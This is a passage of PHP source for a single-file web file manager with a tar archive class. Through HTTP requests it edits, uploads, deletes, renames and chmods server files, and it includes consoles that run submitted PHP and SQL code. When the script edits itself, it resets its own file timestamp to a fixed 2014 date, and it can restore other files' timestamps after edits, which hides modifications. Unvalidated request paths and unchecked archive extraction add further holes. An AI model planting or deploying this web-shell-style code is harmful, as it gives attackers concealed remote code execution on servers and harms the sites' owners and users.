		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
